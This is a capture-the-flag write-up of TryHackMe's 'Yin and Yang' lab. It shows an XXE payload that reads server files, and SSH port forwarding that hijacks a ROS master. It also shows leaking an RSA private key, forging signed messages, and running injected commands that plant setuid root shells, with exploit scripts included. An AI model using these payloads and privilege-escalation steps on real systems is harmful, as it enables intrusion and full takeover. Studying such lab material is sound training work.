TryHackMe - Side Quest 2 Yin and Yang Writeup¶
Introduction¶
OS: Linux
URL: Side Quest 2 Yin
URL: Side Quest 2 Yang
Level: Hard
Hack two machines; use one machine to gain access to the other.
Finding the keycard¶
I'll begin by assuming you've already completed Day 5 of the main Advent Of Cyber 2024 task titled Day 5: SOC-mas XX-what-ee?. If not, you can follow the linked video in the task to first complete it.
The last question in the task provides us a hint to look into any other open ports on the machine.
We know that /whishlist.php is vulnerable to XXE using the payload below.
Let's try to find all active listening ports and established TCP connections on the machine by reading the /proc/net/tcp file.
The product ID: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 25303 1 0000000000000000 100 0 0 10 0
1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 19100 1 0000000000000000 100 0 0 10 0
2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 27013 1 0000000000000000 100 0 0 10 0
3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27005 1 0000000000000000 100 0 0 10 0
4: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 25954 1 0000000000000000 100 0 0 10 0
5: 0100007F:8981 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 24558 1 0000000000000000 100 0 0 10 0
6: D75F0A0A:C022 03E0DC43:01BB 02 00000001:00000000 01:00000009 00000000 0 0 31173 2 0000000000000000 100 0 0 10 -1
7: D75F0A0A:BE7E 95411FAC:01BB 01 00000000:00000000 02:00000049 00000000 0 0 30391 2 0000000000000000 20 4 8 10 -1
is invalid.
The second column contains the IP:port of the listening ports/established connections. Let's write a simple script to extract the IP:port from the output.
import re
import socket
import struct
output = """The product ID: sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:1F90 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 25303 1 0000000000000000 100 0 0 10 0
1: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000 101 0 19100 1 0000000000000000 100 0 0 10 0
2: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 27013 1 0000000000000000 100 0 0 10 0
3: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 27005 1 0000000000000000 100 0 0 10 0
4: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000 113 0 25954 1 0000000000000000 100 0 0 10 0
5: 0100007F:8981 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 24558 1 0000000000000000 100 0 0 10 0
6: D75F0A0A:C022 03E0DC43:01BB 02 00000001:00000000 01:00000009 00000000 0 0 31173 2 0000000000000000 100 0 0 10 -1
7: D75F0A0A:BE7E 95411FAC:01BB 01 00000000:00000000 02:00000049 00000000 0 0 30391 2 0000000000000000 20 4 8 10 -1
is invalid."""
for line in output.splitlines():
match = re.search(r'\d+: ([0-9A-F]{8}):([0-9A-F]{4}) ', line)
if not match:
continue
ip, port = match.group(1), match.group(2)
# check if the state is LISTEN
if line.split()[3] != '0A':
continue
ip = socket.inet_ntoa(struct.pack('<L', int(ip, 16)))
port = int(port, 16)
print(f"{ip}:{port}")
Run the script, and we see few ports listening on the machine.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ python check_ports.py
127.0.0.1:8080
127.0.0.53:53
127.0.0.1:3306
0.0.0.0:22
127.0.0.1:33060
127.0.0.1:35201
Port 8080 looks interesting, and it's likely an HTTP web server running on that port.
The main server is running Apache/2.4.41 (Ubuntu) let's look into the Apache default configuration file /etc/apache2/sites-enabled/000-default.conf to see if there are any sites/ports are published.
We get an error Failed to parse XML when trying to include the file. This is likely due to the special chars in the file. Since the XXE is on a vulnerable PHP application, we should be able to use php filters to encode the contents into base64.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf"> ]>
<wishlist>
<user_id>1</user_id>
<item>
<product_id>&payload;</product_id>
</item>
</wishlist>
Decode the base64 encoded output to get the contents of the file.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ echo "REDACTED" | base64 -d
<VirtualHost *:80>
[...SNIP...]
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
[...SNIP...]
</VirtualHost>
<VirtualHost 127.0.0.1:8080>
ServerName 127.0.0.1
ServerAdmin webmaster@localhost
DocumentRoot /var/www/ssrf
ErrorLog ${APACHE_LOG_DIR}/ssrf_error.log
CustomLog ${APACHE_LOG_DIR}/ssrf_access.log combined
</VirtualHost>
[...SNIP...]
Access port 8008 using XXE
┌──(kali㉿kali)-[~/THM/sq2]
└─$ echo "REDACTED" | base64 -d
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
[...SNIP...]
<a href="access.log">access.log</a></td><td align="right">2024-12-03 12:53 </td><td align="right">223 </td><td> </td></tr>
[...SNIP...]
<address>Apache/2.4.41 (Ubuntu) Server at localhost Port 8080</address>
</body></html>
Port 8080 is a basic index page with a link to access.log file.
We get the link to keycard we can directly download the file from port 80
┌──(kali㉿kali)-[~/THM/sq2]
└─$ wget http://10.10.95.215/k3yZZZZZZZZZ/REDACTED.png
--2024-12-28 19:04:49-- http://10.10.95.215/k3yZZZZZZZZZ/REDACTED.png
Connecting to 10.10.95.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 86443 (84K) [image/png]
Saving to: ‘t2_sm1L3_4nD_w4v3_boyS.png’
t2_sm1L3_4nD_w4v3_boyS.png 100%[===========================================>] 84.42K 298KB/s in 0.3s
2024-12-28 19:04:50 (298 KB/s) - ‘REDACTED.png’ saved [86443/86443]
Recon¶
We are given SSH credentials for both machines.
I'll start by setting two env vars yin and yang to the respective IP addresses of the machines.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ export yin=10.10.202.160
┌──(kali㉿kali)-[~/THM/sq2]
└─$ export yang=10.10.238.51
Run a full port nmap scan on both machines.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yin -vv --min-rate=10000
PORT STATE SERVICE REASON
21337/tcp open unknown syn-ack ttl 60
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap $yin -sC -sV -vv -p 21337
PORT STATE SERVICE REASON VERSION
21337/tcp open http syn-ack ttl 60 Werkzeug httpd 0.16.1 (Python 3.8.10)
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-title: Your Files Have Been Encrypted
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap -p- $yang -vv --min-rate=10000
PORT STATE SERVICE REASON
21337/tcp open unknown syn-ack ttl 60
┌──(kali㉿kali)-[~/THM/sq2]
└─$ nmap $yang -vv -sC -sV -p 21337
PORT STATE SERVICE REASON VERSION
21337/tcp open http syn-ack ttl 60 Werkzeug httpd 0.16.1 (Python 3.8.10)
|_http-title: Your Files Have Been Encrypted
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
Both machines have only one port (21337) open.
Both yin and yang on port 21337 have a ransomware note with a place to enter the decryption key.
The keycard password is accepted as the decryption key for both machines.
Let's scan the machine with nmap again.
SSH ports on both machines are now open. Lets log in to the machines using the credentials provided.
┌──(kali㉿kali)-[~/THM/sq2]
└─$ ssh yin@$yin
[email protected]'s password:
[...SNIP...]
yin@ip-10-10-202-160:~$ ls -la
total 40
drwxr-xr-x 4 yin yin 4096 Dec 5 01:07 .
drwxr-xr-x 4 root root 4096 Dec 4 04:27 ..
-rw-r--r-- 1 yin yin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 yin yin 3840 Dec 4 04:23 .bashrc
drwx------ 2 yin yin 4096 Nov 28 20:25 .cache
-rw-r--r-- 1 yin yin 807 Feb 25 2020 .profile
drwxrwxr-x 3 yin yin 4096 Dec 4 23:15 .ros
-rw------- 1 yin yin 6918 Dec 4 04:24 .viminfo
-rw-r--r-- 1 root root 54 Nov 28 21:42 where-to-find-yang.txt
yin@ip-10-10-202-160:~$ cat where-to-find-yang.txt
You can find YANG here: https://tryhackme.com/jr/yang
yin@ip-10-10-202-160:~$ sudo -l
Matching Defaults entries for yin on ip-10-10-202-160:
mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, always_set_home
User yin may run the following commands on ip-10-10-202-160:
(root) NOPASSWD: /catkin_ws/yin.sh
┌──(kali㉿kali)-[~/THM/sq2]
└─$ ssh yang@$yang
[email protected]'s password:
yang@ip-10-10-238-51:~$ ls -la
total 32
drwxr-xr-x 4 yang yang 4096 Dec 5 02:06 .
drwxr-xr-x 4 root root 4096 Dec 4 04:33 ..
-rw-r--r-- 1 yang yang 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 yang yang 3840 Dec 4 04:28 .bashrc
drwx------ 2 yang yang 4096 Nov 28 21:38 .cache
-rw-r--r-- 1 yang yang 807 Feb 25 2020 .profile
drwxrwxr-x 3 yang yang 4096 Dec 4 04:33 .ros
-rw------- 1 yang yang 703 Dec 4 04:34 .viminfo
yang@ip-10-10-238-51:~$ sudo -l
Matching Defaults entries for yang on ip-10-10-238-51:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User yang may run the following commands on ip-10-10-238-51:
(root) NOPASSWD: /catkin_ws/yang.sh
Both machines contain a folder named .ros.
Yin and Yang each have a script located in the /catkin_ws/ directory that can be run as root without a password.
Yin¶
I'll skip the initial enumeration on Yang as the steps are identical to Yin and knowing that Yin is the key to solve Yang (from solving the box prior). But the same steps apply to enumerating both machines.
Just trying to run the /catkin_ws/yin.sh script as root outputs a massage stating master node on localhost:11311 might not be running.
yin@ip-10-10-62-75:~$ sudo /catkin_ws/yin.sh
[ERROR] [1735438580.712662]: Unable to immediately register with master node [http://localhost:11311]: master may not be running yet. Will keep trying.
.ros folder in home directory contains a log folder.
yin@ip-10-10-62-75:~/.ros$ ls
log roscore-11311.pid rospack_cache_04654968594548113376
yin@ip-10-10-62-75:~/.ros$ cd log/
yin@ip-10-10-62-75:~/.ros/log$ ls
f6df61ea-b1f8-11ef-b77d-29fb64c99c22 fa0fcd0a-b1f8-11ef-b77d-29fb64c99c22 latest
yin@ip-10-10-62-75:~/.ros/log$ cd latest
yin@ip-10-10-62-75:~/.ros/log/latest$ ls
master.log roslaunch-ip-10-10-193-66-84215.log rosout-1-stdout.log rosout.log
Checking each log file, the roslaunch-ip-10-10-193-66-84215.log contains some log information on how to start the master node.
yin@ip-10-10-62-75:~/.ros/log/latest$ cat roslaunch-ip-10-10-193-66-84215.log
[...SNIP...]
[roslaunch.parent][INFO] 2024-12-04 04:33:57,875: ... parent XML-RPC server started
[roslaunch][INFO] 2024-12-04 04:33:57,875: master.is_running[http://ip-10-10-193-66:11311/]
[roslaunch][INFO] 2024-12-04 04:33:57,878: auto-starting new master
[roslaunch][INFO] 2024-12-04 04:33:57,878: create_master_process: rosmaster, /opt/ros/noetic/share/ros, 11311, 3, None, False
[roslaunch][INFO] 2024-12-04 04:33:57,878: process[master]: launching with args [['rosmaster', '--core', '-p', '11311', '-w', '3']]
[roslaunch.pmon][INFO] 2024-12-04 04:33:57,878: ProcessMonitor.register[master]
[roslaunch.pmon][INFO] 2024-12-04 04:33:57,878: ProcessMonitor.register[master] complete
[roslaunch][INFO] 2024-12-04 04:33:57,878: process[master]: starting os process
[...SNIP...]
Let's use the same command to run the master node on localhost:11311 and then run the yin.sh script.
//# We could run `rosmaster --core -p 11311 -w 3` but we can also use `roscore` which is a wrapper around `rosmaster`
yin@ip-10-10-62-75:~$ roscore
... logging to /home/yin/.ros/log/36ee53aa-c616-11ef-be5b-f356bc0e4411/roslaunch-ip-10-10-62-75-2234.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt
Done checking log file disk usage. Usage is <1GB.
started roslaunch server http://ip-10-10-62-75:39303/
ros_comm version 1.16.0
SUMMARY
========
PARAMETERS
* /rosdistro: noetic
* /rosversion: 1.16.0
NODES
auto-starting new master
process[master]: started with pid [2242]
ROS_MASTER_URI=http://ip-10-10-62-75:11311/
setting /run_id to 36ee53aa-c616-11ef-be5b-f356bc0e4411
process[rosout-1]: started with pid [2252]
started core service [/rosout]
yin@ip-10-10-62-75:~$ sudo /catkin_ws/yin.sh
Note
Both the commands are run in different ssh sessions. You can either use tmux/screen or different ssh sessions depending on your preference.
Rerunning the yin.sh script runs without any errors but doesn't output anything.
Let's head back over to the .ros/log/latest directory and check the logs.
yin@ip-10-10-62-75:~/.ros/log/latest$ cat master.log
[rosmaster.master][INFO] 2024-12-29 19:03:40,924: Master initialized: port[11311], uri[http://ip-10-10-62-75:11311/]
[rosmaster.master][INFO] 2024-12-29 19:03:41,010: +PARAM [/run_id] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,011: +PARAM [/roslaunch/uris/host_ip_10_10_62_75__36823] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,102: +PARAM [/rosversion] by /roslaunch
[rosmaster.master][INFO] 2024-12-29 19:03:41,103: +PARAM [/rosdistro] by /roslaunch
[...SNIP...]
rosmaster.master][INFO] 2024-12-29 19:03:42,591: +SUB [/rosout] /rosout http://ip-10-10-62-75:33525/
[rosmaster.master][INFO] 2024-12-29 19:03:56,628: +PUB [/messagebus] /yin http://ip-10-10-62-75:38497/
[rosmaster.master][INFO] 2024-12-29 19:03:56,725: +PUB [/rosout] /yin http://ip-10-10-62-75:38497/
[..SNIP...]
[rosmaster.master][INFO] 2024-12-29 19:03:56,731: +SERVICE [/svc_yang] /yin http://ip-10-10-62-75:38497/
[..SNIP...]
[rosmaster.master][INFO] 2024-12-29 19:04:19,558: +SUB [/messagebus] /rostopic_2004_1735499059424 http://ip-10-10-62-75:41129/
The master.log file contains logs indicating there are some mqtt like pub/sub topics being created.
We can use the rostopic command to list and subscribe to the topics.
yin@ip-10-10-62-75:~$ rostopic list
/messagebus
/rosout
/rosout_agg
yin@ip-10-10-62-75:~$ rostopic echo /messagebus
timestamp: "1735499424.7320056"
sender: "Yin"
receiver: "Yang"
action: 1
actionparams:
- touch /home/yang/yin.txt
feedback: "ACTION"
hmac: "jkGrCNtX3pcHgvNm/Jva77WNu4NVyiGT9l2cVe161hzgpBfibF4j3MDCpznCDRuPWTJFvaPpbl6x...[TRUNCATED]"
---
[...SNIP...]
Every few seconds a message is being published to the /messagebus topic with the action to touch a file /home/yang/yin.txt.
Let's grep for messagebus in /catkin_ws script to see where it's referenced to see if we can see how the message is being published.
yin@ip-10-10-62-75:/catkin_ws$ grep -ir messagebus
src/yin/scripts/runyin.py: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
src/yin/scripts/runyin.py: self.messagebus.publish(message)
grep: privatekey.pem: Permission denied
build/yin/catkin_generated/installspace/runyin.py: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
build/yin/catkin_generated/installspace/runyin.py: self.messagebus.publish(message)
build/yin/catkin_generated/stamps/yin/runyin.py.stamp: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
build/yin/catkin_generated/stamps/yin/runyin.py.stamp: self.messagebus.publish(message)
runyin.py¶
Let's have a look at the file /catkin_ws/src/yin/scripts/runyin.py and understand each part of class Yin
self.messagebusis aPublisherobject that publishes messages to themessagebustopic.self.priv_keyis aRSAprivate key object that is read from the/catkin_ws/privatekey.pemfile.self.secretis a secret read from the/catkin_ws/secret.txtfile.self.serviceis aServiceobject that listens for requests on thesvc_yangtopic and calls thehandle_yang_requestmethod when a request is received.
| runyin.py | |
|---|---|
req.secretis checked to see if thesecretsent in the request tosvc_yangmatches theself.secretread from the file.- any command sent in the request
req.commandis executed usingos.system(action)if the secret is valid.
sign_messagemethod takes amessageobject encodes all the contents of the message tobase64generates aSHA256hash of the message and signs the hash using theRSAprivate key and returns the signed hmac.
craft_pingmethod creates aCommsobject with thetimestamp,sender,receiver,action,actionparams,feedbackandhmacfields set.send_pingsusesYin.craft_pingmethod to create aCommsobject with the receiver set toYangand calls thesign_messagemethod to sign the message and then publishes the message to themessagebustopic.
Yang¶
Follow similar enumeration on Yang as we did on Yin.
yang@ip-10-10-24-255:~$ rostopic list
/messagebus
/rosout
/rosout_agg
yang@ip-10-10-24-255:~$ rostopic echo /messagebus
But we do not receive any messages on the /messagebus topic.
Let's see how the source of Yang differs from Yin.
yang@ip-10-10-24-255:/catkin_ws$ grep -ir messagebus
src/yang/scripts/runyang.py: self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)
src/yang/scripts/runyang.py: rospy.Subscriber('messagebus', Comms, self.callback)
src/yang/scripts/runyang.py: self.messagebus.publish(reply)
[...SNIP...]
yang@ip-10-10-24-255:/catkin_ws$ cat src/yang/scripts/runyang.py
[...SNIP...]
runyang.py¶
The class Yang __init__ is similar to class Yin. The only exception being, instead of registering svc_yang service, class Yang subscribes to the messagebus topic.
callbackmethod is called when a message is received on themessagebustopic.- Checks that the receiver is
Yang - further sends the message to
validate_messagemethod to check if the message is fromYin. validate_messagemethod also checks if the timestamp is within a second of the current time.- Then check if the hamc is valid by generating the hamc signature and comparing it with the received hamc.
- If all checks pass, the commands in the
actionparamsare executed.
def callback(self, data):
[..SNIP...]
#Now request an action from Yin
self.yin_request()
#Send reply
reply = Comms()
reply.timestamp = str(rospy.get_time())
reply.sender = "Yang"
reply.receiver = "Yin"
reply.action = 2
reply.actionparams = []
reply.actionparams.append(self.priv_key_str)
reply.feedback = "Action Done"
reply.hmac = ""
reply = self.sign_message(reply)
self.messagebus.publish(reply)
def yin_request(self):
resp = ""
rospy.wait_for_service('svc_yang')
try:
service = rospy.ServiceProxy('svc_yang', yangrequest)
response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
except rospy.ServiceException as e:
print ("Failed: %s"%e)
resp = response.response
return resp
- Right after the command is executed in
callbackmethod,yin_requestmethod is called. yin_requestmethod waits for thesvc_yangservice to be available and then calls the service with thesecret,command,senderandreceiver.- once the call to yin_request is done, a new message to
/messagebusis published with the contents ofself.priv_key_str
yang@ip-10-10-24-255:/catkin_ws/src/yang/srv$ cat yangrequest.srv
string secret
string command
string sender
string receiver
---
string response
So to leak both secret and priv_key_str we need to send a message that validates to True in validate_message method and then register a service svc_yang to receive the secret.
Leaking the priv_key_str¶
Stop roscore and the /catkin_ws/yin.sh script on Yin
yin@ip-10-10-165-204:~$ roscore
... logging to /home/yin/.ros/log/b2ea4aa8-c75c-11ef-92fc-0d9b9cd76bc3/roslaunch-ip-10-10-165-204-1529.log
Checking log directory for disk usage. This may take a while.
Press Ctrl-C to interrupt
[...SNIP...]
started core service [/rosout]
^C[rosout-1] killing on exit
[master] killing on exit
shutting down processing monitor...
... shutting down processing monitor complete
done
yin@ip-10-10-165-204:~$ sudo /catkin_ws/yin.sh
^C
yin@ip-10-10-165-204:~$ rostopic list
ERROR: Unable to communicate with master!
Only Yin receives messages /messagebus, but to leak the secret we need Yang to receive those messages.
Let's forward the rosmaster port 11311 from Yang to Yin using ssh port forwarding. Allowing us to use rosmaster running on Yang inside Yin.
Note
We could have just set an env var export ROS_MASTER_URI=http://<REMOTE_IP>:11311 to achieve the same result, but since env_reset is set in the sudo configuration we can't use sudo with env vars.
yin@ip-10-10-165-204:~$ ssh [email protected] -L 0.0.0.0:11311:0.0.0.0:11311
[email protected]'s password:
[...SNIP...]
//# note the below commands are run on `Yin`
yin@ip-10-10-165-204:~$ ss -lntp
State Recv-Q Send-Q Local Address:Port Process
LISTEN 0 128 0.0.0.0:11311 0.0.0.0:* users:(("ssh",pid=2831,fd=4))
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
[...SNIP...]
yin@ip-10-10-165-204:~$ rostopic list
/messagebus
/rosout
/rosout_agg
yin@ip-10-10-165-204:~$ rosservice list
/rosout/get_loggers
/rosout/set_logger_level
/yang/get_loggers
/yang/set_logger_level
We can successfully connect to roscore running on Yang from Yin.
Start the /catkin_ws/yin.sh script. Since runyin.py registers svc_yang service, all the conditions for dumping the priv_key_str are met, and we just need to echo the /messagebus topic to get the priv_key_str.
yin@ip-10-10-165-204:~$ sudo /catkin_ws/yin.sh
yin@ip-10-10-165-204:~$ rosservice list
/rosout/get_loggers
/rosout/set_logger_level
/svc_yang
/yang/get_loggers
/yang/set_logger_level
/yin/get_loggers
/yin/set_logger_level
yin@ip-10-10-165-204:~$ rostopic echo /messagebus
timestamp: "1735641420.5522885"
sender: "Yin"
receiver: "Yang"
action: 1
actionparams:
- touch /home/yang/yin.txt
feedback: "ACTION"
hmac: "RC6mvJZc8gP8vhjK4PfZ+lyM...[TRUNCATED]"
---
timestamp: "1735641419.7377985"
sender: "Yang"
receiver: "Yin"
action: 2
actionparams:
- '-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc
PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks
[...SNIP...]
-----END RSA PRIVATE KEY-----'
feedback: "Action Done"
hmac: "omGs1O5/v2H6k3ZiXy/ZzhcCTQGQg...[TRUNCATED]"
---
Copy the private key and remove all the extra line breaks and save it to a file.
yin@ip-10-10-165-204:~$ cat test.key
-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc
PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks
[...SNIP...]
//# A hacky way to remove extra lines and spaces using sed, Either use this command or do this yourself in your text editor.
yin@ip-10-10-165-204:~$ cat test.key | tr '\n' '\r' | sed 's/\r\r /\n/g' | tr '\r' '\n' > private.key
yin@ip-10-10-165-204:~$ cat private.key
-----BEGIN RSA PRIVATE KEY-----
MIIG4wIBAAKCAYEAsaUDeLXuiF9/e53TXupOZeQ+K/or9+M0tNaHnxtFlc3ouxQc
PxkuU2T2iGtmWNSC05Uv1MqGINZTD6G0ArvJQexoZu74KwXHD5pZxjHpeI4kBmks
[...SNIP...]
-----END RSA PRIVATE KEY-----
//# verify that the key is valid
yin@ip-10-10-165-204:~$ openssl rsa -in private.key -text -noout
RSA Private-Key: (3072 bit, 2 primes)
modulus:
00:b1:a5:03:78:b5:ee:88:5f:7f:7b:9d:d3:5e:ea:
[...SNIP...]
Pwn Yang¶
Now that we have the private.key file we can use it to craft a message to Yang by modifying the actionparams to create a suid bash shell
Copy the /catkin_ws/src/yin/scripts/runyin.py file to our local machine and modify it a little to change the path of the private key and the command to be executed.
yin@ip-10-10-165-204:~$ python3 pwn_yang.py
//# now check the /tmp directory on Yang
yang@ip-10-10-227-181:~$ ls /tmp/ -lh
total 1.2M
-rwsr-xr-x 1 root root 1.2M Dec 31 11:12 bash
yang@ip-10-10-227-181:~$ /tmp/bash -p
bash-5.0# id
uid=1002(yang) gid=1002(yang) euid=0(root) groups=1002(yang)
bash-5.0# cat /root/yang.txt
THM{REDACTED}
PWN Yin¶
Now that we are root on Yang we can get the secret from /catkin_ws/secret.txt and use it to craft a message to Yin to execute a command to create a suid bash shell.
Yin Only checks for secret as defined in Yin.handle_yang_request and executes the command sent in action parameter.
We can either use CLI to make the request or create a Python script to interact with the service.
#!/usr/bin/python3
import rospy
from yin.srv import yangrequest
rospy.init_node('pwn_yin', anonymous=True)
rospy.wait_for_service('svc_yang')
service_proxy = rospy.ServiceProxy('svc_yang', yangrequest)
response = service_proxy(
secret='REDACTED',
command='cp /bin/bash /tmp/bash2; chmod u+s /tmp/bash2',
sender='Yang',
receiver='Yin'
)
print("Response from service:", response.response)
yin@ip-10-10-165-204:~$ rosservice call svc_yang "secret: 'REDACTED'
> command: 'cp /bin/bash /tmp/bash; chmod u+s /tmp/bash'
> sender: 'Yang'
> receiver: 'Yin'"
response: "Action performed"
yin@ip-10-10-165-204:~$ ls -la /tmp/bash
-rwsr-xr-x 1 root root 1183448 Dec 31 11:28 /tmp/bash
yin@ip-10-10-165-204:~$ python3 pwn_yin.py
Response from service: Action performed
yin@ip-10-10-165-204:~$ ls -la /tmp/bash2
-rwsr-xr-x 1 root root 1183448 Dec 31 11:30 /tmp/bash2
yin@ip-10-10-165-204:~$ /tmp/bash2 -p
bash2-5.0# cat /root/yin.txt
THM{REDACTED}
And that's it we have completed the Yin and Yang room on TryHackMe.
Extras¶
I initially did not think of port forwarding and instead solved this room with roscore running on both Yin and Yang.
Used a Flask API server to forward messages from Yin to Yang.
Then wrote a script to register the svc_yang service on Yang to receive the secret simultaneously as we leak the priv_key_str from Yin.
Used the secret to pwn Yin first and then used pwn_yang.py from above to root Yang by reading the /catkin_ws/privatekey.pem file.
I will dump the scripts below with no explanations do with them as you please.
Forwarder.py¶
Runs on Yin to forward messages from /messagebus to flask API server running on Yang.
#!/usr/bin/python3
import rospy
import requests
import json
from yin.msg import Comms
class MessageForwarder:
def __init__(self):
# ROS setup
rospy.init_node("local_message_listener", anonymous=True)
# Subscribe to the local messagebus
self.local_subscriber = rospy.Subscriber("messagebus", Comms, self.forward_message)
# Flask server API endpoint
self.api_url = "http://10.10.211.87:5000/publish" # Replace with your Flask server's IP
def forward_message(self, msg):
# Prepare the message data for sending to the Flask server
message_data = {
'timestamp': msg.timestamp,
'hmac': msg.hmac
}
# log entries of msg
print("\n\nReceived message from local topic:")
rospy.loginfo(msg)
# Send the message to the Flask server
try:
response = requests.post(self.api_url, json=message_data)
# Check if the request was successful
if response.status_code == 200:
rospy.loginfo("Message forwarded to Flask server successfully.")
else:
rospy.logwarn(f"Failed to forward message. Status code: {response.status_code}")
except requests.exceptions.RequestException as e:
rospy.logerr(f"Error while forwarding message: {e}")
if __name__ == "__main__":
try:
forwarder = MessageForwarder()
rospy.spin()
except rospy.ROSInterruptException:
pass
FlaskServer.py¶
Flask server running on Yang to receive messages from Yin and publish them to the /messagebus topic.
#!/usr/bin/python3
from flask import Flask, request, jsonify
import rospy
from yang.msg import Comms
import json
app = Flask(__name__)
# ROS setup for remote messagebus
rospy.init_node("flask_message_forwarder", anonymous=True)
remote_publisher = rospy.Publisher("messagebus", Comms, queue_size=10)
@app.route('/publish', methods=['POST'])
def publish_message():
try:
# Parse the JSON data from the request body
data = request.get_json()
# Create a new Comms message from the received data
message = Comms()
message.timestamp = str(data['timestamp'])
message.sender = "Yin"
message.receiver = "Yang"
message.action = 1
message.actionparams = ['touch /home/yang/yin.txt']
#message.actionparams.append(self.priv_key_str)
message.feedback = "ACTION"
message.hmac = data['hmac']
# Publish the message to the ROS messagebus
rospy.loginfo("\n\nForwarding message to remote ROS system")
rospy.loginfo(message)
remote_publisher.publish(message)
return jsonify({'status': 'Message forwarded to remote ROS system'}), 200
except Exception as e:
return jsonify({'error': str(e)}), 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
svc_yang.py¶
Registers the svc_yang service on Yang to receive the secret.
#!/usr/bin/python3
import rospy
from yin.srv import yangrequest
class YangServiceHandler:
def __init__(self):
# Initialize the ROS node
rospy.init_node('yang_service_listener', anonymous=True)
# Create the service listener for 'svc_yang'
self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
def handle_yang_request(self, req):
# Log the received request
rospy.loginfo(f"Received request:")
rospy.loginfo(f"Secret: {req.secret}")
rospy.loginfo(f"Command: {req.command}")
rospy.loginfo(f"Sender: {req.sender}")
rospy.loginfo(f"Receiver: {req.receiver}")
# Process the request (e.g., execute the command)
response = f"Action {req.command} performed by {req.sender} for {req.receiver}"
# Return a response
return response
if __name__ == '__main__':
try:
# Start the service handler
handler = YangServiceHandler()
rospy.spin() # Keep the node running
except rospy.ROSInterruptException:
pass







